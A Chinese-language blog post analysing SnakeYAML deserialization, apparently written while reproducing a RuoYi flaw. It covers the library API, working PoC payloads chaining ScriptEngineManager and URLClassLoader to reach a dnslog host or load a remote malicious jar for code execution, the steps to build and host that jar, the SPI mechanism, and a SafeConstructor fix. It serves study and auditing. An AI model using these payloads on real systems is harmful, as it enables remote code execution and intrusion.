前言
之前在复现若依的漏洞时,接触到了SnakeYaml反序列化,现在分析一下漏洞触发的原理。
SnakeYaml 概述
简介
YAML语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持YAML的配置文件。SnakeYaml是用来解析YAML,将YAML文档转换为JAVA对象,以及将JAVA对象序列化为YAML文档。
使用
要在项目中使用SnakeYAML,需要添加Maven依赖项
| 12
 3
 4
 5
 
 | <dependency><groupId>org.yaml</groupId>
 <artifactId>snakeyaml</artifactId>
 <version>1.27</version>
 </dependency>
 
 | 
常用方法
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | String	dump(Object data)将Java对象序列化为YAML字符串。
 void	dump(Object data, Writer output)
 将Java对象序列化为YAML流。
 String	dumpAll(Iterator<? extends Object> data)
 将一系列Java对象序列化为YAML字符串。
 void	dumpAll(Iterator<? extends Object> data, Writer output)
 将一系列Java对象序列化为YAML流。
 String	dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
 将Java对象序列化为YAML字符串。
 String	dumpAsMap(Object data)
 将Java对象序列化为YAML字符串。
 <T> T	load(InputStream io)
 解析流中唯一的YAML文档,并生成相应的Java对象。
 <T> T	load(Reader io)
 解析流中唯一的YAML文档,并生成相应的Java对象。
 <T> T	load(String yaml)
 解析字符串中唯一的YAML文档,并生成相应的Java对象。
 Iterable<Object>	loadAll(InputStream yaml)
 解析流中的所有YAML文档,并生成相应的Java对象。
 Iterable<Object>	loadAll(Reader yaml)
 解析字符串中的所有YAML文档,并生成相应的Java对象。
 Iterable<Object>	loadAll(String yaml)
 解析字符串中的所有YAML文档,并生成相应的Java对象。
 
 | 
主要关注序列化函数和反序列化的函数
- Yaml.load():入参是一个字符串或者一个文件,结果序列化之后返回一个JAVA对象。
- Yaml.dump():将一个对象转化为- YAML文件格式。
序列化
User类
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | package com.test.yaml;
 public class User {
 public String name;
 
 public String getName() {
 return name;
 }
 
 
 public void setName(String name) {
 this.name = name;
 }
 }
 
 
 | 
YamlDemo类
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | package com.test.yaml;
 import org.yaml.snakeyaml.Yaml;
 
 public class YamlDemo {
 public static void main(String[] args) {
 User l2sec = new User();
 l2sec.setName("l2sec");
 Yaml yaml = new Yaml();
 String dump = yaml.dump(l2sec);
 System.out.println(dump);
 }
 }
 
 
 | 
运行结果

输出如下字符串
| 1
 | !!com.test.yaml.User {name: l2sec}
 | 
这里的!!类似于fastjson的@type用于指定反序列化的全类名
反序列化
再新建一个Person类,在各个方法中添加了print输出,目的是测试在反序列化时会触发这个类中的哪些方法。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 
 | package com.test.yaml;
 public class Person {
 public String name;
 public int age;
 
 public String getName() {
 System.out.println("调用了getName方法");
 return name;
 }
 
 public void setName(String name) {
 System.out.println("调用了setName方法");
 this.name = name;
 }
 
 public int getAge() {
 System.out.println("调用了getAge方法");
 return age;
 }
 
 public void setAge(int age) {
 System.out.println("调用了setAge方法");
 this.age = age;
 }
 }
 
 | 
在YamlDemo2中,通过!!指定类名需要写全类名
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 
 | package com.test.yaml;
 import org.yaml.snakeyaml.Yaml;
 
 public class YamlDemo2 {
 public static void main(String[] args) {
 Serialize();
 Deserialize();
 }
 
 private static  void Serialize(){
 Person person = new Person();
 person.setName("l2sec");
 person.setAge(20);
 Yaml yaml = new Yaml();
 String dump = yaml.dump(person);
 System.out.println(dump);
 }
 private static void Deserialize() {
 String className = "!!com.test.yaml.Person {age: 20, name: l2sec}";
 Yaml yaml = new Yaml();
 Person person = yaml.load(className);
 System.out.println(person.getAge());
 }
 }
 
 
 | 
运行结果

输出如下
| 12
 3
 4
 5
 6
 7
 8
 
 | 调用了构造方法调用了setName方法
 调用了setAge方法
 !!com.test.yaml.Person {age: 20, name: l2sec}
 
 调用了构造方法
 调用了getAge方法
 20
 
 | 
可以看到在序列化的时候触发set方法和构造方法。
反序列化漏洞分析
漏洞复现
运行下面POC代码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | package com.test.yaml;
 import org.yaml.snakeyaml.Yaml;
 
 public class YamlExploit {
 public static void main(String[] args) {
 
 String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://e8c2f892.dns.1433.eu.org\"]]]]\n";
 Yaml yaml = new Yaml();
 yaml.load(context);
 }
 }
 
 
 | 
运行结果如下,成功触发dnslog

如果需要触发RCE,我们可以借用这个github项目,修改AwesomeScriptEngineFactory.java的代码。在构造方法或者静态代码块中写好触发命令执行的代码即可。(一般针对出网环境)

修改好后,编译成class文件,并打包成jar
| 12
 
 | javac src/artsploit/AwesomeScriptEngineFactory.javajar -cvf yaml-payload.jar -C src/ .
 
 | 
上传到vps上,开启一个http服务
| 1
 | python3 -m http.server --cgi 8888
 | 
编写测试类YamlExploit
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | package com.test.yaml;
 import org.yaml.snakeyaml.Yaml;
 
 public class YamlExploit {
 public static void main(String[] args) {
 
 String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://ip:port/yaml-payload.jar\"]]]]\n";
 Yaml yaml = new Yaml();
 yaml.load(context);
 }
 }
 
 | 
运行结果如下

SPI机制
在漏洞分析前需要了解下SPI的机制,在上面的payload中看到是使用ScriptEngineManager类来进行构造,ScriptEngineManager利用的底层就是SPI机制。
SPI(Service Provider Interface),是JDK内置的一种服务提供发现机制,可以用来启用框架扩展和替换组件,主要是被框架的开发人员使用,比如java.sql.Driver接口,其他不同厂商可以针对同一接口做出不同的实现,MySQL和PostgreSQL都有不同的实现提供给用户,而Java的SPI机制可以为某个接口寻找服务实现。Java中SPI机制主要思想是将装配的控制权移到程序之外,在模块化设计中这个机制尤其重要,其核心思想就是解耦。
当服务的提供者提供了一种接口的实现之后,需要在classpath下的META-INF/services/目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。当其他的程序需要这个服务的时候,就可以通过查找这个jar包(一般都是以jar包做依赖)的META-INF/services/中的配置文件,配置文件中有接口的具体实现类名,可以根据这个类名进行加载实例化,就可以使用该服务了。
影响版本
全版本
漏洞原理
根据前面的例子,我们可以知道YAML反序列化时可以通过!!+全类名的方式指定要反序列化的类,反序列化时就会实例化该类,可以通过构造ScriptEngineManager的payload并利用SPI机制通过URLClassLoader或者其他payload如JNDI的方式加载远程并实例化恶意类,从而实现RCE。
漏洞修复
修复方案:加入new SafeConstructor()类进行过滤
| 12
 
 | Yaml yaml = new Yaml(new SafeConstructor());yaml.load(context);
 
 | 
审计注意的点
在审计中其实就可以直接定位yaml.load();,然后进行回溯,如若参数可控,那么就可以尝试传入payload。
参考
https://www.cnblogs.com/nice0e3/p/14514882.html
https://tttang.com/archive/1591/